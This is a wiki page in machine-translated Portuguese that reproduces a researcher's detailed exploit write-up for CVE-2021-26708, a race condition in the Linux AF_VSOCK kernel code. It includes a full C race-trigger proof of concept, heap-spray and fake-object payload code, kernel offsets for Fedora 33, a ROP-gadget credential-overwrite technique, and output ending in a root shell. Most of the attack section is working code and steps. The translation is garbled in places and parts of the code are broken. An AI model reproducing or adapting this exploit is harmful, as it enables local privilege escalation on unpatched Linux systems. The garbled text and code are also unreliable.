pwnwiki.com
,
Vulnerabilidade
Essas vulnerabilidades são condições de corrida causadas pelo bloqueio incorreto em net / vmw_vsock / af_vsock.c
. Essas competições condicionais foram introduzidas implicitamente no envio que adicionou o suporte a multitransporte VSOCK em novembro de 2019 e foram incorporadas à versão do kernel Linux 5.5-rc1.
CONFIG_VSOCKETS
e CONFIG_VIRTIO_VSOCKETS
são fornecidos como módulos do kernel em todas as principais distribuições GNU / Linux. Quando você cria um soquete para o domínio AF_VSOCK, esses módulos vulneráveis são carregados automaticamente.
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
A criação de sockets AF_VSOCK
está disponível para usuários não privilegiados e não requer espaço de nome de usuário.
Corrupção de memória
A seguir está uma introdução detalhada ao uso de CVE-2021-26708, usando a competição condicional em vsock_stream_etssockopt ()
. Dois threads são necessários para reproduzir. O primeiro thread chama setsockopt ()
:
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &size, sizeof(unsigned long));
O segundo thread muda a transmissão do soquete virtual quando vsock_stream_etssockopt ()
tenta adquirir o bloqueio do soquete, reconectando o soquete virtual:
struct sockaddr_vm addr = { .svm_family = AF_VSOCK, }; addr.svm_cid = VMADDR_CID_LOCAL; connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm)); addr.svm_cid = VMADDR_CID_HYPERVISOR; connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
Para processar o connect ()
do socket virtual, o kernel executa vsock_stream_connect ()
que chama vsock_assign_transport ()
. Esta função contém o seguinte código:
if (vsk->transport) { if (vsk->transport == new_transport) return 0; /* transport->release() must be called with sock lock acquired. * This path can only be taken during vsock_stream_connect(), * where we have already held the sock lock. * In the other cases, this function is called on a new socket * which is not assigned to any transport. */ vsk->transport->release(vsk); vsock_deassign_transport(vsk); }
vsock_stream_connect ()
contém um bloqueio de soquete, e vsock_stream_setsockopt ()
na thread paralela também tenta obtê-lo, o que constitui uma competição condicional. Portanto, quando o segundo connect ()
é executado com um svm_cid
diferente, a função vsock_deassign_transport ()
é chamada. Esta função executa virtio_transport_destruct ()
, libera vsock_sock.trans
e vsk-> transport
é definido como NULL. Quando vsock_stream_connect ()
libera o bloqueio de soquete, vsock_stream_setsockopt ()
pode continuar a executar. Ele chama vsock_update_buffer_size ()
e, em seguida, chama transport-> notification_buffer_size ()
. Aqui, transporte contém um valor desatualizado de uma variável local, que não corresponde a vsk-> transporte
(o valor original é definido como NULL).
Quando o kernel executa virtio_transport_notify_buffer_size ()
, ocorre corrupção de memória:
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val) { struct virtio_vsock_sock *vvs = vsk->trans; if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE) *val = VIRTIO_VSOCK_MAX_BUF_SIZE; vvs->buf_alloc = *val; virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL); }
Aqui, vvs é um ponteiro para a memória do kernel, que foi lançado em virtio_transport_destruct ()
. O tamanho de struct virtio_vsock_sock
é de 64 bytes e está localizado no cache de bloco kmalloc-64. O tipo de campo buf_alloc é u32 e está localizado no deslocamento 40. VIRTIO_VSOCK_MAX_BUF_SIZE é 0xFFFFFFFFUL
. O valor de * val é controlado pelo invasor e seus quatro bytes menos importantes são gravados na memória liberada.
Fuzzing
O fuzzer syzkaller não tem como reproduzir este travamento, então decidi estudá-lo sozinho. Mas por que o fuzzer falha? Observe vsock_update_buffer_size ()
e descubra:
if (val != vsk->buffer_size && transport && transport->notify_buffer_size) transport->notify_buffer_size(vsk, &val); vsk->buffer_size = val;
Somente quando val for diferente do buffer_size atual, notification_buffer_size ()
será chamado, ou seja, quando setsockopt ()
executar SO_VM_SOCKETS_BUFFER_SIZE
, todas as vezes Os parâmetros de tamanho da chamada devem ser todos diferentes. Então, criei o código relevante:
/* * AF_VSOCK vulnerability trigger. * It's a PoC just for fun. * Author: Alexander Popov <email protected>. */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <sys/socket.h> #include <linux/vm_sockets.h> #include <unistd.h> #define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0) #define MAX_RACE_LAG_USEC 50 int vsock = -1; int tfail = 0; pthread_barrier_t barrier; int thread_sync(long lag_nsec) { int ret = -1; struct timespec ts0; struct timespec ts; long delta_nsec = 0; ret = pthread_barrier_wait(&barrier); if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) { perror("- pthread_barrier_wait"); return EXIT_FAILURE; } ret = clock_gettime(CLOCK_MONOTONIC, &ts0); if (ret != 0) { perror("- clock_gettime"); return EXIT_FAILURE; } while (delta_nsec < lag_nsec) { ret = clock_gettime(CLOCK_MONOTONIC, &ts); if (ret != 0) { perror("- clock_gettime"); return EXIT_FAILURE; } delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 + ts.tv_nsec - ts0.tv_nsec; } return EXIT_SUCCESS; } void *th_connect(void *arg) { int ret = -1; long lag_nsec = *((long *)arg) * 1000; struct sockaddr_vm addr = { .svm_family = AF_VSOCK, }; ret = thread_sync(lag_nsec); if (ret != EXIT_SUCCESS) { tfail++; return NULL; } addr.svm_cid = VMADDR_CID_LOCAL; connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm)); addr.svm_cid = VMADDR_CID_HYPERVISOR; connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm)); return NULL; } void *th_setsockopt(void *arg) { int ret = -1; long lag_nsec = *((long *)arg) * 1000; struct timespec tp; unsigned long size = 0; ret = thread_sync(lag_nsec); if (ret != EXIT_SUCCESS) { tfail++; return NULL; } clock_gettime(CLOCK_MONOTONIC, &tp); size = tp.tv_nsec; setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &size, sizeof(unsigned long)); return NULL; } int main(void) { int ret = -1; unsigned long size = 0; long loop = 0; pthread_t th2 = { 0 }; vsock = socket(AF_VSOCK, SOCK_STREAM, 0); if (vsock == -1) err_exit("- open vsock"); printf("+ AF_VSOCK socket is opened\n"); size = 1; setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE, &size, sizeof(unsigned long)); size = 0xfffffffffffffffdlu; setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE, &size, sizeof(unsigned long)); ret = pthread_barrier_init(&barrier, NULL, 2); if (ret != 0) err_exit("- pthread_barrier_init"); for (loop = 0; loop < 30000; loop++) { long tmo1 = 0; long tmo2 = loop % MAX_RACE_LAG_USEC; printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2); ret = pthread_create(&th0, NULL, th_connect, &tmo1); if (ret != 0) err_exit("- pthread_create #0"); ret = pthread_create(&th1, NULL, th_setsockopt, &tmo2); if (ret != 0) err_exit("- pthread_create #1"); ret = pthread_join(th0, NULL); if (ret != 0) err_exit("- pthread_join #0"); ret = pthread_join(th1, NULL); if (ret != 0) err_exit("- pthread_join #1"); if (tfail) { printf("- some thread got troubles\n"); exit(EXIT_FAILURE); } } ret = close(vsock); if (ret) perror("- close"); printf("+ now see your warnings in the kernel log\n"); return 0; }
O valor do tamanho aqui é obtido do número de nanossegundos retornado por clock_gettime ()
, que pode ser diferente a cada vez. O syzkaller original não faz isso, porque quando o syzkaller gera a entrada de difusão, o valor do parâmetro syscall é determinado e não muda durante a execução.
O poder de quatro bytes
Aqui eu escolho o Fedora 33 Server como alvo de pesquisa, a versão do kernel é 5.10.11-200.fc33.x86_64, e estou determinado a ignorar SMEP e SMAP.
Na primeira etapa, comecei a estudar a pulverização de heap estável, que explorava a execução de atividades do espaço do usuário para fazer com que o kernel alocasse outro objeto de 64 bytes no local do virtio_vsock_sock liberado. Após várias tentativas experimentais, foi confirmado que o virtio_vsock_sock liberado foi sobrescrito, indicando que a pulverização de heap é viável. Finalmente encontrei msgsnd () syscall. Ele cria struct msg_msg no espaço do kernel, consulte a saída do pahole:
struct msg_msg { struct list_head m_list; /* 0 16 */ long int m_type; /* 16 8 */ size_t m_ts; /* 24 8 */ struct msg_msgseg * next; /* 32 8 */ void * security; /* 40 8 */ /* size: 48, cachelines: 1, members: 5 */ /* last cacheline: 48 bytes */ };
A frente é o cabeçalho da mensagem e o verso são os dados da mensagem. Se o struct msgbuf no espaço do usuário tiver um mtext de 16 bytes, o msg_msg correspondente será criado no cache de bloco kmalloc-64. Um write-after-free de 4 bytes destruirá o ponteiro de segurança void * no deslocamento 40. O campo msg_msg.security aponta para os dados do kernel alocados por lsm_msg_msg_alloc (). Quando msg_msg for recebido, ele será liberado por security_msg_msg_free (). Portanto, destruindo a primeira metade do indicador de segurança, um free arbitrário pode ser obtido.
Vazamento de informações do kernel
Aqui é usado % 87% E6% BC% 8F% E6% B4% 9E CVE-2019-18683 a mesma técnica. O segundo connect () do socket virtual chama vsock_deassign_transport ()
e define vsk-> transport
como NULL, tornando vsock_stream_setsockopt ()
Chamando virtio_transport_send_pkt_info ()
após a falha de memória, um aviso de kernel aparece:
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34 ... CPU: 1 PID: 6739 Comm: racer Tainted: G W 5.10.11-200.fc33.x86_64 #1 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014 RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 vmw_vsock_virtio_transport_common ... RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80 RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0 RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000 R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008 R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0 FS: 00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0 Call Trace: virtio_transport_notify_buffer_size+0x60/0x70 vmw_vsock_virtio_transport_common vsock_update_buffer_size+0x5f/0x70 vsock vsock_stream_setsockopt+0x128/0x270 vsock ...
Por meio da depuração do gdb, verifica-se que o registro RCX contém o endereço do kernel do virtio_vsock_sock liberado, e o registro RBX contém o endereço do kernel do vsock_sock.
Obtenha uma leitura arbitrária
De arbitrário gratuito para uso após livre
Libere um objeto do endereço do kernel vazado
Execute heap spray e cubra o objeto com dados controlados
Use objetos danificados para escalonamento de privilégios
A mensagem System V implementada pelo kernel tem um limite máximo de DATALEN_MSG, ou seja, PAGE_SIZE menos sizeof (struct msg_msg)). Se você enviar uma mensagem maior, as mensagens restantes serão salvas na lista de segmentos de mensagem. O msg_msg contém struct msg_msgseg * próximo para apontar para o primeiro segmento, e size_t m_ts é usado para armazenar o tamanho. Ao realizar uma operação de substituição, você pode colocar o valor controlado em msg_msg.m_ts e msg_msg.next:
Payload:
#define PAYLOAD_SZ 40 void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr) { struct msg_msg *msg_ptr; xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ; /* Don't touch the second part to avoid breaking page fault delivery */ memset(spray_data, 0xa5, PAGE_SIZE * 4); printf("+ adapt the msg_msg spraying payload:\n"); msg_ptr = (struct msg_msg *)xattr_addr; msg_ptr->m_type = 0x1337; msg_ptr->m_ts = ARB_READ_SZ; msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */ printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n", msg_ptr, msg_ptr->m_type, &(msg_ptr->m_type), msg_ptr->m_ts, &(msg_ptr->m_ts), msg_ptr->next, &(msg_ptr->next)); }
Mas como usar msg_msg para ler os dados do kernel? Ao ler a documentação da chamada do sistema msgrcv (), encontrei uma boa solução, usando sinalizadores msgrcv () e MSG:
MSG_COPY (since Linux 3.8) Nondestructively fetch a copy of the message at the ordinal position in the queue specified by msgtyp (messages are considered to be numbered starting at 0).
Este sinalizador faz com que o kernel copie os dados da mensagem para o espaço do usuário sem excluí-los da fila de mensagens. Se o kernel tiver CONFIG_CHECKPOINT_RESTORE = y, então MSG está disponível e é aplicável no Fedora Server.
Etapas de leitura arbitrária
Pronto para trabalhar:
Use sched_getaffinity () e CPU_COUNT () para calcular o número de CPUs disponíveis (pelo menos dois são necessários para esta vulnerabilidade);
Abra / dev / kmsg para análise;
mmap () configura userfaultfd () na área de memória spray_data como a última parte;
Inicie um pthread separado para lidar com eventos userfaultfd ();
Inicie 127 threads para setxattr () & userfaultfd () heap spray em msg_msg, e pendure-os em thread_barrier;
Obtenha o endereço do kernel do msg_msg original:
Competição condicional em soquetes virtuais;
Após o segundo connect (), espere 35 microssegundos no loop ocupado;
Chame msgsnd () para criar uma fila de mensagens separada; após corrupção de memória, o objeto msg_msg é colocado na posição virtio_vsock_sock;
Analise o log do kernel e salve o endereço do kernel de msg_msg do aviso do kernel (registro RCX);
Ao mesmo tempo, salve o endereço do kernel de vsock_sock do registro RBX;
Use o msg_msg danificado para realizar a liberação arbitrária do msg_msg original:
Use 4 bytes do endereço msg_msg original como SO_VM_SOCKETS_BUFFER_SIZE para obter corrupção de memória;
Competição condicional em soquetes virtuais;
Chame msgsnd () imediatamente após o segundo connect (); msg_msg é colocado na posição de virtio_vsock_sock para atingir a destruição;
O ponteiro de segurança do msg_msg agora destruído armazena o endereço do msg_msg original (da etapa 2);
Se a corrupção da memória msg_msg.security do thread setsockopt () ocorrer durante o processamento de msgsnd (), a verificação de permissão SELinux falha;
Neste caso, msgsnd () retorna -1, e o msg_msg danificado é destruído; liberar msg_msg.security pode liberar o msg_msg original;
Substitua o msg_msg original por uma carga controlável:
Depois que msgsnd () falhar, a vulnerabilidade chamará pthread_barrier_wait () e chamará 127 pthreads para pulverização de heap;
Esses pthreads executam a carga útil de setxattr ();
O msg_msg original é sobrescrito por dados controláveis, e o ponteiro msg_msg.next armazena o endereço do objeto vsock_sock;
Leia o conteúdo do objeto do kernel vsock_sock para o espaço do usuário, recebendo a mensagem da fila de mensagens armazenando o msg_msg substituído:
ret = msgrcv(msg_locations0.msq_id, kmem, ARB_READ_SZ, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
Encontre o alvo do ataque
Aqui estão os pontos que encontrei:
1. Cache de bloco dedicado, como PINGv6 e sock_inode_cache tem muitos ponteiros para objetos
2. O ponteiro de struct mem_cgroup * sk_memcg está no deslocamento 664 em vsock_sock.sk. A estrutura mem_cgroup é alocada no cache de bloco kmalloc-4k.
3. O ponteiro const struct cred * owner está no deslocamento 840 de vsock_sock.sk e armazena o endereço da credencial que pode ser sobrescrito para escalonamento de permissão.
4. O ponteiro de função void (* sk_write_space) (struct sock *) está no deslocamento 688 de vsock_sock.sk e é definido como o endereço da função de kernel sock_def_write_space (). Ele pode ser usado para calcular o deslocamento KASLR.
Aqui está como a vulnerabilidade extrai esses ponteiros da memória:
#define SK_MEMCG_RD_LOCATION (DATALEN_MSG + SK_MEMCG_OFFSET) #define OWNER_CRED_OFFSET 840 #define OWNER_CRED_RD_LOCATION (DATALEN_MSG + OWNER_CRED_OFFSET) #define SK_WRITE_SPACE_OFFSET 688 #define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) /* * From Linux kernel 5.10.11-200.fc33.x86_64: * function pointer for calculating KASLR secret */ #define SOCK_DEF_WRITE_SPACE 0xffffffff819851b0lu unsigned long sk_memcg = 0; unsigned long owner_cred = 0; unsigned long sock_def_write_space = 0; unsigned long kaslr_offset = 0; /* ... */ sk_memcg = kmemSK_MEMCG_RD_LOCATION / sizeof(uint64_t); printf("+ Found sk_memcg %lx (offset %ld in the leaked kmem)\n", sk_memcg, SK_MEMCG_RD_LOCATION); owner_cred = kmemOWNER_CRED_RD_LOCATION / sizeof(uint64_t); printf("+ Found owner cred %lx (offset %ld in the leaked kmem)\n", owner_cred, OWNER_CRED_RD_LOCATION); sock_def_write_space = kmemSK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t); printf("+ Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n", sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION); kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE; printf("+ Calculated kaslr offset: %lx\n", kaslr_offset);
Implementar Use-after-free em sk_buff
O buffer relacionado à rede no kernel do Linux é representado por struct sk_buff. Há skb_shared_info e destructor_arg neste objeto, que pode ser usado para sequestro de fluxo de controle. Os dados de rede e skb_shared_info são colocados no mesmo bloco de memória do kernel apontado por sk_buff.head. Portanto, a criação de um pacote de rede de 2.800 bytes no espaço do usuário fará com que skb_shared_info seja alocado para o cache de bloco kmalloc-4k, assim como o objeto mem_cgroup.
Eu criei as seguintes etapas:
1. Use sockets (AF_INET, SOCK_DGRAM, IPPROTO_UDP) para criar um socket de cliente e 32 sockets de servidor
2. Prepare um buffer de 2.800 bytes no espaço do usuário e use 0x42 para memset ()
3. Use sendto () para enviar este buffer do socket do cliente para cada socket do servidor para criar objetos sk_buff em kmalloc-4k. Use `sched_setaffinity () em cada CPU disponível
4. Execute o processo de leitura arbitrária em vsock_sock
5. Calcule o possível endereço do kernel sk_buff como sk_memcg mais 4096 (o próximo elemento de kmalloc-4k)
6. Execute leituras arbitrárias neste possível endereço sk_buff
7. Se você encontrar 0x42424242424242lu na localização dos dados da rede, encontre o sk_buff real e vá para a etapa 8. Caso contrário, adicione 4096 ao endereço sk_buff possível e vá para a etapa 6
8. Execute o heap spray setxattr () & userfaultfd () de 32 pthreads em sk_buff e pendure-os em pthread_barrier
9. Liberar arbitrariamente o endereço do kernel sk_buff
10. Chame pthread_barrier_wait (), execute 32 setxattr () para cobrir o heap spray pthreads de skb_shared_info
11. Use recv () para receber mensagens de rede do soquete do servidor.
A seguir está uma carga útil válida que substitui o objeto sk_buff:
#define SKB_SIZE 4096 #define SKB_SHINFO_OFFSET 3776 #define MY_UINFO_OFFSET 256 #define SKBTX_DEV_ZEROCOPY (1 << 3) void prepare_xattr_vs_skb_spray(void) { struct skb_shared_info *info = NULL; xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4; /* Don't touch the second part to avoid breaking page fault delivery */ memset(spray_data, 0x0, PAGE_SIZE * 4); info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET); info->tx_flags = SKBTX_DEV_ZEROCOPY; info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET; uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);
skb_shared_info reside nos dados de injeção, exatamente no deslocamento SKB_SHINFO_OFFSET, que é 3776 bytes. O ponteiro skb_shared_info.destructor_arg armazena o endereço de struct ubuf_info. Como o endereço do kernel do sk_buff atacado é conhecido, um ubuf_info falso pode ser criado em MY_UINFO_OFFSET no buffer de rede. A seguir está o layout de uma carga útil válida:
Vamos falar sobre o retorno de chamada destructor_arg:
/* * A single ROP gadget for arbitrary write: * mov rdx, qword ptr rdi + 8 ; mov qword ptr rdx + rcx*8, rsi ; ret * Here rdi stores uinfo_p address, rcx is 0, rsi is 1 */ uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset; uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr rdi + 8" */ uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */
Como não consegui encontrar um gadget que atendesse às minhas necessidades em vmlinuz-5.10.11-200.fc33.x86_64, pesquisei e construí sozinho.
O ponteiro da função de retorno de chamada armazena o endereço de um dispositivo ROP, o RDI armazena o primeiro parâmetro da função de retorno de chamada, que é o endereço do próprio ubuf_info, e RDI + 8 aponta para ubuf_info.desc. gadget move ubuf_info.desc para RDX. Agora o RDX contém o ID do usuário efetivo e o endereço do ID do grupo menos um byte. Este byte é muito importante: quando o gadget grava a mensagem 1 do RSI na memória apontada pelo RDX, o uid e o gid efetivos serão sobrescritos com zero. Repita o mesmo processo até que os privilégios sejam atualizados para root. O fluxo de saída de todo o processo é o seguinte:
email protected ~$ ./vsock_pwn ================================================= ==== CVE-2021-26708 PoC exploit by a13xp0p0v ==== ================================================= + begin as: uid=1000, euid=1000 + we have 2 CPUs for racing + getting ready... + remove old files for ftok() + spray_data at 0x7f0d9111d000 + userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000 + fault_handler for uffd 38 is ready + stage I: collect good msg_msg locations + go racing, show wins: save msg_msg ffff9125c25a4d00 in msq 11 in slot 0 save msg_msg ffff9125c25a4640 in msq 12 in slot 1 save msg_msg ffff9125c25a4780 in msq 22 in slot 2 save msg_msg ffff9125c3668a40 in msq 78 in slot 3 + stage II: arbitrary free msg_msg using corrupted msg_msg kaddr for arb free: ffff9125c25a4d00 kaddr for arb read: ffff9125c2035300 + adapt the msg_msg spraying payload: msg_ptr 0x7f0d91120fd8 m_type 1337 at 0x7f0d91120fe8 m_ts 6096 at 0x7f0d91120ff0 msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8 + go racing, show wins: + stage III: arbitrary read vsock via good overwritten msg_msg (msq 11) + msgrcv returned 6096 bytes + Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem) + Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem) + Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem) + Calculated kaslr offset: 2a000000 + stage IV: search sprayed skb near sk_memcg... + checking possible skb location: ffff9125c42fa000 + stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg kaddr for arb free: ffff9125c25a4640 kaddr for arb read: ffff9125c42fa030 + adapt the msg_msg spraying payload: msg_ptr 0x7f0d91120fd8 m_type 1337 at 0x7f0d91120fe8 m_ts 6096 at 0x7f0d91120ff0 msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8 + go racing, show wins: 0 0 20 15 42 11 + stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12) + msgrcv returned 6096 bytes + found a real skb + stage V: try to do UAF on skb at ffff9125c42fa000 + skb payload: start at 0x7f0d91120004 skb_shared_info at 0x7f0d91120ec4 tx_flags 0x8 destructor_arg 0xffff9125c42fa100 callback 0xffffffffab64f6d4 desc 0xffff9125c3fd6e53 + go racing, show wins: 15 + stage VI: repeat UAF on skb at ffff9125c42fa000 + go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 + finish as: uid=0, euid=0 + starting the root shell... uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Vídeo
免费、自由、人人(PwnWiki.Com)可编辑的漏洞库